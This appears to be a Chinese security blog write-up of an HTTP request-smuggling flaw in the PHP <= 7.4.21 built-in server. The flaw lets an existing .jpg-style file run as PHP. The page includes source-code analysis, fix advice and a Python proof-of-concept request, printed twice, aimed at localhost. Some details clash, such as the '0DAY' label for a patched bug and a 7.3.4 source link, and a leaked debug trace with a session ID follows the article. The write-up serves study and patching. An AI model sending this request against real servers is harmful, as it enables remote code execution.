当前位置:首页>php>【漏洞情报】【0DAY】PHP <= 7.4.21 Built-in Server HTTP 请求走私漏洞

【漏洞情报】【0DAY】PHP <= 7.4.21 Built-in Server HTTP 请求走私漏洞

  • 2026-02-07 04:01:12
【漏洞情报】【0DAY】PHP <= 7.4.21 Built-in Server HTTP 请求走私漏洞

[0DAY]PHP Built-in Server HTTP 请求走私漏洞

导语:PHP 内置服务器存在一个严重的 HTTP 请求走私漏洞,能让一张普通的图片文件变成可执行的 PHP 脚本。本文将从 Zend 内核层面深入剖析这个漏洞的原理。


一、漏洞效果演示

1.1 场景搭建

假设我们有一个目录,里面只有一个图片文件 test.jpg

/var/www/
└── test.jpg   # 文件内容其实是 PHP 代码

图片文件的内容实际上是 PHP 代码,但正常情况下访问它只会显示图片的原始字节,不会执行。

1.2 启动 PHP 内置服务器

php -S 127.0.0.1:8888

正常访问 http://127.0.0.1:8888/test.jpg,浏览器会显示图片的原始内容,PHP 代码不会被执行

1.3 发送攻击 Payload

使用 Python 构造特殊的 HTTP 请求:

import socket

payload = b"GET /test.jpg HTTP/1.1\r\n" \
          b"Host: 127.0.0.1\r\n"
 \
          b"\r\n"
 \
          b"POST /x.php HTTP/1.1\r\n"
 \
          b"Host: 127.0.0.1\r\n"
 \
          b"Content-Length: 0\r\n"
 \
          b"\r\n"


s = socket.socket()
s.connect(("127.0.0.1", 8888))
s.send(payload)
print
(s.recv(4096).decode())

1.4 神奇的事情发生了

发送 Payload 后,test.jpg 中的 PHP 代码被执行了!

关键点

  • • test.jpg 必须存在(任意三字符后缀的文件都可以)
  • • x.php不需要存在
  • • 两个请求被合并在一个 TCP 数据包中发送

二、漏洞原理剖析

2.1 漏洞描述

PHP Built-in Server 在处理 HTTP 请求时,使用了基于回调的事件驱动解析器 php_http_parser。当解析器在单次调用中接收到多个连续的 HTTP 请求时,会依次触发各个请求的回调函数。

核心问题:回调函数对 php_cli_server_request 结构体的字段进行直接覆盖,而没有正确的边界检查,导致:

第一个请求的 path_translated + 第二个请求的 ext = 类型混淆

最终,一个扩展名为 .xxx(任意三字符后缀,如 .png.jpg.bak.gif.zip 等)的文件会因为扩展名被错误地更新为 .php,而被 PHP 解释器当作脚本执行。

2.2 核心数据结构

请求结构体(php_cli_server_request

文件位置:sapi/cli/php_cli_server.c

typedefstruct php_cli_server_request {
enum php_http_method request_method;
     // GET, POST 等
    int
 protocol_version;                     // HTTP 版本号
    char
 *request_uri;                        // 原始 URI
    size_t
 request_uri_len;
    char
 *vpath;                              // 虚拟路径(从 URL 解析)
    size_t
 vpath_len;
    char
 *path_translated;                    // 文件系统路径
    size_t
 path_translated_len;               // 实际执行的文件
    char
 *path_info;                          // PATH_INFO
    size_t
 path_info_len;
    char
 *query_string;                       // 查询字符串
    size_t
 query_string_len;
    HashTable headers;                        // HTTP 头部
    HashTable headers_original_case;
    char
 *content;                            // POST 数据
    size_t
 content_len;
    const
 char *ext;                          // 扩展名指针
    size_t
 ext_len;                           // 指向 vpath 内部!
    zend_stat_t
 sb;                           // 文件状态
} php_cli_server_request;

关键字段说明

  1. 1. ext 是一个指针,指向 vpath 字符串的某个位置
  2. 2. 当 vpath 被释放并重新分配时,ext 会变成悬空指针
  3. 3. path_translated 是独立分配的,只有文件存在时才会更新

客户端结构体(php_cli_server_client

typedefstruct php_cli_server_client {
struct php_cli_server *server;

    php_socket_t
 sock;
struct sockaddr *addr;

    socklen_t
 addr_len;
    char
 *addr_str;
    size_t
 addr_str_len;
    php_http_parser parser;
    unsigned
 int request_read:1;
    char
 *current_header_name;
    size_t
 current_header_name_len;
    unsigned
 int current_header_name_allocated:1;
    char
 *current_header_value;
    size_t
 current_header_value_len;
enum {
 HEADER_NONE=0, HEADER_FIELD, HEADER_VALUE } last_header_element;
    size_t
 post_read_offset;
    php_cli_server_request request;           // 共享的请求对象!
    unsigned
 int content_sender_initialized:1;
    php_cli_server_content_sender content_sender;
    int
 file_fd;
} php_cli_server_client;

问题所在request 是一个共享的单例对象,多个 HTTP 请求会反复修改同一个 request 结构,没有针对管道化请求的隔离机制

2.3 内存状态变化分析

以下是内存状态变化的层次结构分析:

┌────────────────────────────────────────┐
│  📦 php_cli_server_client              │
│  (客户端结构)                          │
├────────────────────────────────────────┤
│  • parser: [状态机]                    │
│  • request_read: 0 → 1                 │
│  • request ───────┐                    │
└───────────────────┼────────────────────┘
                    │
                    ▼
        ┌───────────────────────────────────┐
        │  📦 php_cli_server_request        │
        │  (请求对象)                       │
        ├───────────────────────────────────┤
        │                                   │
        │  ┌─────────────────────────────┐  │
        │  │ 阶段一:第一个请求完成      │  │
        │  ├─────────────────────────────┤  │
        │  │ vpath: "shell.php.bak"      │  │
        │  │          ↓                  │  │
        │  │ ext: → "bak" (0x1012)       │  │
        │  │ path_translated:            │  │
        │  │   "/var/www/shell.php.bak"  │  │
        │  └─────────────────────────────┘  │
        │                                   │
        │  ┌─────────────────────────────┐  │
        │  │ 阶段二:on_path() 调用后    │  │
        │  ├─────────────────────────────┤  │
        │  │ vpath: "phantom.php" (覆盖) │  │
        │  │          ↓                  │  │
        │  │ ext: → ❌ 悬空指针!         │  │
        │  │   (0x1012 指向已释放内存)   │  │
        │  │ path_translated: 未改变     │  │
        │  └─────────────────────────────┘  │
        │                                   │
        │  ┌─────────────────────────────┐  │
        │  │ 阶段三:on_complete() 后    │  │
        │  ├─────────────────────────────┤  │
        │  │ vpath: "phantom.php"        │  │
        │  │          ↓                  │  │
        │  │ ext: → "php" (0x1008)       │  │
        │  │ path_translated: 仍未改变   │  │
        │  │   "/var/www/shell.php.bak"  │  │
        │  │                               │  │
        │  │ ⚠️  类型混淆状态!           │  │
        │  └─────────────────────────────┘  │
        │                                   │
        └───────────────────────────────────┘

关键变化说明

  1. 1. 阶段一(第一个请求完成)
    • • vpath 指向 "shell.php.bak"
    • • ext 指向 vpath[18],即 "bak"
    • • path_translated 设置为 "/var/www/shell.php.bak"
  2. 2. 阶段二(第二个请求 on_path 后)
    • • vpath 被覆盖为 "phantom.php"
    • • ext 仍为 0x1012,变成悬空指针
    • • path_translated未改变
  3. 3. 阶段三(第二个请求完成后)
    • • vpath 为 "phantom.php"
    • • ext 更新为指向 vpath[8],即 "php"
    • • path_translated仍未改变
    • • 最终状态:path_translated 指向 .bak 文件,但 ext 是 "php"

2.4 关键代码分析

请求读取入口

文件位置:sapi/cli/php_cli_server.c - php_cli_server_client_read_request

static int php_cli_server_client_read_request(
    php_cli_server_client *client,
    char
 **errstr)

{
    char
 buf[16384];  // 16KB 缓冲区,可容纳多个请求
    static
 const php_http_parser_settings settings = {
        php_cli_server_client_read_request_on_message_begin,
        php_cli_server_client_read_request_on_path,        // 关键回调!
        php_cli_server_client_read_request_on_query_string,
        php_cli_server_client_read_request_on_url,
        php_cli_server_client_read_request_on_fragment,
        php_cli_server_client_read_request_on_header_field,
        php_cli_server_client_read_request_on_header_value,
        php_cli_server_client_read_request_on_headers_complete,
        php_cli_server_client_read_request_on_body,
        php_cli_server_client_read_request_on_message_complete  // 关键回调!
    };
    size_t
 nbytes_consumed;
    int
 nbytes_read;

    // 【检查点】: 如果已读取完成,直接返回

    if
 (client->request_read) {
        return
 1;  // ⚠️ 只在函数入口检查一次
    }

    // 从 socket 读取数据

    // 如果客户端发送了多个请求,可能一次性读入 buf

    nbytes_read = recv(client->sock, buf, sizeof(buf) - 1, 0);

    // ... 错误处理 ...


    client->parser.data = client;

    // 【漏洞触发点】: 调用 HTTP 解析器

    // 这个函数会解析 buf 中的所有完整请求

    // 每解析完一个请求,都会调用 on_message_complete

    nbytes_consumed = php_http_parser_execute(&client->parser,
                                              &settings,
                                              buf,
                                              nbytes_read);
    // ...

    return
 client->request_read ? 1 : 0;
}

问题分析

  • • client->request_read 检查只在函数入口执行一次
  • • 无法阻止 php_http_parser_execute() 内部解析多个请求
  • • 解析器会处理 buf 中的所有完整请求
  • • 每遇到 \r\n\r\n(请求结束标记),就触发 on_message_complete

路径回调函数


文件位置:sapi/cli/php_cli_server.c - php_cli_server_client_read_request_on_path
static int php_cli_server_client_read_request_on_path(
    php_http_parser *parser,
    const
 char *at,      // 指向解析缓冲区中的路径字符串
    size_t
 length)
       // 路径长度
{
    php_cli_server_client *client = parser->data;
    {
        char
 *vpath;
        size_t
 vpath_len;

        // 规范化虚拟路径(处理 URL 编码、相对路径等)

        normalize_vpath(&vpath, &vpath_len, at, length, 1);

        // ⚠️ 漏洞点: 无条件覆盖

        // 问题1: 没有检查 client->request_read 标志

        // 问题2: 直接覆盖指针,导致 ext 成为悬空指针

        // 问题3: 没有释放旧的 vpath 内存

        client->request.vpath = vpath;
        client->request.vpath_len = vpath_len;
    }
    return
 0;
}

路径翻译函数

文件位置:sapi/cli/php_cli_server.c - php_cli_server_request_translate_vpath

static void php_cli_server_request_translate_vpath(
    php_cli_server_request *request,
    const
 char *document_root,
    size_t
 document_root_len)

{
    zend_stat_t
 sb;
    static
 const char *index_files[] = { "index.php", "index.html", NULL };

    // 分配缓冲区并构建完整路径

    char
 *buf = safe_pemalloc(1, request->vpath_len,
                              1
 + document_root_len + 1 + sizeof("index.html"), 1);
    // ... 路径拼接逻辑 ...


    // 【关键循环】: 尝试 stat 文件

    while
 (q > buf) {
        if
 (!php_sys_stat(buf, &sb)) {
            // 文件存在

            if
 (sb.st_mode & S_IFDIR) {
                // 如果是目录,尝试查找 index 文件

                // ...

            }
            // 找到普通文件,跳出循环

            break
;
        }

        // 文件不存在,尝试去掉最后一个路径组件

        // ...

    }

    // 如果第二个请求的文件(phantom.php)不存在,

    // 函数会直接 return,不修改 path_translated

    // 因此导致 path_translated 保持为第一个请求的值

}

扩展名提取函数

文件位置:sapi/cli/php_cli_server.c - php_cli_server_client_read_request_on_message_complete

static int php_cli_server_client_read_request_on_message_complete(php_http_parser *parser)
{
    php_cli_server_client *client = parser->data;

    // 设置协议版本

    client->request.protocol_version = parser->http_major * 100 + parser->http_minor;

    // 翻译虚拟路径为文件系统路径

    php_cli_server_request_translate_vpath(&client->request, 
                                           client->server->document_root, 
                                           client->server->document_root_len);

    // 提取文件扩展名

    {
        const
 char *vpath = client->request.vpath;
        const
 char *end = vpath + client->request.vpath_len;
        const
 char *p = end;

        client->request.ext = end;
        client->request.ext_len = 0;  // 默认设置:无扩展名

        // 从后向前查找最后一个 '.'

        while
 (p > vpath) {
            --p;
            if
 (*p == '.') {
                ++p;
                // ⚠️ 问题: ext 是一个普通指针,直接指向 vpath 的某个位置

                // 当 vpath 被释放或重新分配时,ext 会成为悬空指针

                client->request.ext = p;
                client->request.ext_len = end - p;
                break
;
            }
        }
    }

    // 标记请求已读取

    // ⚠️ 问题: 这个标志的设置"太晚"了

    // 解析器在同一次 php_http_parser_execute 调用中,

    // 还会继续处理 buffer 中的剩余数据(第二个请求)

    client->request_read = 1;
    return
 0;
}

请求分发函数

文件位置:sapi/cli/php_cli_server.c - php_cli_server_dispatch

static int php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client)
{
    int
 is_static_file = 0;
    SG(server_context) = client;

    // 【关键判断】通过 ext 和 path_translated 来判断文件类型

    if
 (client->request.ext_len != 3 ||
        memcmp
(client->request.ext, "php", 3) || 
        !client->request.path_translated) {
        // 条件1: 扩展名长度 | 条件2: 扩展名内容 | 条件3: 路径有效性

        is_static_file = 1;
    }

    // ...


    if
 (!is_static_file) {
        // 当作 PHP 脚本执行

        // 使用 path_translated 作为脚本路径

        php_cli_server_dispatch_script(server, client);
    } else {
        // 当作静态文件处理

        php_cli_server_begin_send_static(server, client);
    }
    // ...

}

2.5 攻击流程总结

[图片占位13:攻击流程示意图]

                    ┌─────────────────────────────────────┐
                    │     攻击者发送走私请求              │
                    │  GET /shell.jpg + GET /phantom.php  │
                    └──────────────────┬──────────────────┘
                                       │
                                       ▼
┌─────────────────────────────────────────────────────────────────────┐
│                    单次 php_http_parser_execute() 调用              │
│                           处理多个请求                              │
└─────────────────────────────────────────────────────────────────────┘
                                       │
           ┌───────────────────────────┼───────────────────────────┐
           │                           │                           │
           ▼                           ▼                           ▼
┌───────────────────┐      ┌───────────────────┐      ┌───────────────────┐
│   第一个请求      │      │   第二个请求      │      │   dispatch()      │
│   (shell.jpg)     │      │   (phantom.php)   │      │   判断逻辑        │
├───────────────────┤      ├───────────────────┤      ├───────────────────┤
│ • 文件存在 ✓      │      │ • 文件不存在 ✗    │      │ ext_len == 3 ✓    │
│ • path_translated │  +   │ • path_translated │  →   │ ext == "php" ✓    │
│   = shell.jpg     │      │   未改变          │      │ path_translated   │
│                   │      │ • ext = "php"     │      │   != NULL ✓       │
└───────────────────┘      └───────────────────┘      ├───────────────────┤
                                                      │ is_static_file=0  │
                                                      │ 当作PHP执行!      │
                                                      └───────────────────┘

关键:第一个文件(任意三字符后缀的后门文件,必须存在)的处理方式由第二个文件(.php 结尾,不需要存在)的扩展名决定。当第二个请求的 ext 被识别为 "php" 时,is_static_file 被设为 0,触发 php_cli_server_dispatch_script() 将第一个请求的静态文件作为 PHP 代码执行。


三、影响范围

3.1 受影响的版本

受影响版本
安全版本
PHP <= 7.4.21
PHP >= 7.4.22

3.2 利用条件

  1. 1. 目标使用 php -S 启动的内置服务器
  2. 2. Web 目录可上传文件,或者存在任意三字符后缀的 webshell 文件

四、漏洞利用 Payload

import socket

# 构造走私请求

# 第一个请求:GET /test.jpg(目标文件,必须存在)

# 第二个请求:POST /x.php(控制扩展名,不需要存在)

payload = b"GET /test.jpg HTTP/1.1\r\n" \
          b"Host: 127.0.0.1\r\n"
 \
          b"\r\n"
 \
          b"POST /x.php HTTP/1.1\r\n"
 \
          b"Host: 127.0.0.1\r\n"
 \
          b"Content-Length: 0\r\n"
 \
          b"\r\n"


s = socket.socket()
s.connect(("127.0.0.1", 8888))
s.send(payload)
print
(s.recv(4096).decode())

五、修复建议

  1. 1. 升级 PHP 版本:将 PHP 升级到 7.4.22 或更高版本
  2. 2. 避免生产环境使用php -S 内置服务器仅适用于开发调试,切勿用于生产环境
  3. 3. 使用专业 Web 服务器:生产环境应使用 Nginx、Apache 等专业 Web 服务器

六、总结

这个漏洞的精髓在于状态混淆

  • • path_translated 和 ext 两个字段的更新时机不一致
  • • 管道化请求的处理缺乏隔离机制
  • • 悬空指针导致扩展名判断错误

通过精心构造的 HTTP 请求走私,攻击者可以让服务器将任意静态文件误判为 PHP 脚本执行,从而实现代码执行。


参考资料

  • • PHP 源码:https://www.php.net/distributions/php-7.3.4.tar.gz

文稿 | ph@nt0m

本文仅供安全研究与学习交流,请勿用于非法用途。

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-02-07 10:48:01 HTTP/2.0 GET : https://f.mffb.com.cn/a/471223.html
  2. 运行时间 : 0.099522s [ 吞吐率:10.05req/s ] 内存消耗:4,380.51kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=c1b81797fc0c787777e970a2bbafa8b9
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
